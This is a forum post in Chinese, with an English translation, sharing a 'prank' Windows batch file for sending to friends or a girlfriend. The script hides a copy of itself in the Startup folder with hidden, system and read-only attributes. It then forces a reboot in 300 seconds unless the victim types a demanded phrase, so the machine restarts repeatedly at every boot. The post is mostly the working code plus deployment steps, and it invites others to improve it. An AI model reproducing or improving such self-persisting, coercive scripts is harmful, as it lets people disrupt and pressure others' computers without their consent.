『楼 主』:
自己制作的[恶搞.BAT]
使用 LLM 解释/回答一下
才接触BAT 自己做了一个小程序,让大家娱乐一下.
你可以把它发送给你的朋友或女朋友呵呵
让他们必须输入某个字才可以.如:大哥,老公.亲爱的````
他们要是不输入就会关机重起,重起之后还是要输入,不输入再重起 [呵呵 好恶毒啊]
希望高手也给我这个菜鸟一点建议,看看那里需要修改和完善的地方.谢谢了
把下面的代码,复制到记事本中,然后保存为 egao.bat [名字一定要正确啊,要不然功能实现不了]
好了下面是正文:
@echo off
title 小丰制作
copy egao.bat "%userprofile%\「开始」菜单\程序\启动\"
rem 复制本文件到启动菜单里
attrib +s +h +r "%userprofile%\「开始」菜单\程序\启动\egao.bat"
rem 给文件加上 只读 系统 隐藏属性
COLOR 3f
MODE con COLS=41 LINES=18
rem 修改窗体的颜色和大小
shutdown -r -t 300 -c ""在左面的栏里输入[大哥]两个字就可以取消关机了------------------------也可以输入拼音[dage]
rem 启动系统于300秒后关机和显示的文字 注:显示的文字可以修改,比如把大哥改成老公
:c
ECHO =========================================
echo 呵呵。快叫大哥,不说就关你的机,快说!!
ECHO =========================================
rem 显示的文字 注:这里你可以自己修改比如改成 小乖乖.快叫老公
set /p dage=请输入
if /i '%dage%'=='大哥' goto a
if /i '%dage%'=='dage' goto a
rem 判断输入的是否正确 正确就跳到a段 注:这里也要改啊
echo 呵呵","快说,我没那么久的耐心
pause
cls
goto c
rem 输入错误就返回到 c 段
:a
echo 哈哈,过瘾!
shutdown -a
rem 取消关机
pause
Just came into contact with BAT and made a small program by myself for everyone to have fun.
You can send it to your friends or girlfriend heh heh
Let them have to enter a certain word. For example: big brother, husband. dear````
If they don't enter, the computer will be shut down and restarted, and after restarting, they still have to enter. If they don't enter, restart again
Hope experts can also give me some suggestions, see what needs to be modified and improved, thank you.
Copy the following code into Notepad and save it as egao.bat
Okay, here's the main text:
@echo off
title Xiaofeng Production
copy egao.bat "%userprofile%\「Start」Menu\Programs\Startup\"
rem Copy this file to the startup menu
attrib +s +h +r "%userprofile%\「Start」Menu\Programs\Startup\egao.bat"
rem Add read-only, system, hidden attributes to the file
COLOR 3f
MODE con COLS=41 LINES=18
rem Modify the color and size of the window
shutdown -r -t 300 -c ""Enter the two characters in the left column to cancel the shutdown------------------------You can also enter the pinyin
rem Start the system to shut down after 300 seconds and the text to display Note: The displayed text can be modified, such as changing big brother to husband
:c
ECHO =========================================
echo Hehe. Say big brother quickly, if you don't say it, your computer will be shut down, say it quickly! !
ECHO =========================================
rem The displayed text Note: Here you can modify it yourself, such as changing it to little darling. Say husband quickly
set /p dage=Please enter
if /i '%dage%'=='big brother' goto a
if /i '%dage%'=='dage' goto a
rem Judge whether the input is correct, if correct, jump to segment a Note: This also needs to be changed
echo Hehe","say quickly, I don't have so much patience
pause
cls
goto c
rem If the input is wrong, return to segment c
:a
echo Haha, enjoyable!
shutdown -a
rem Cancel the shutdown
pause
|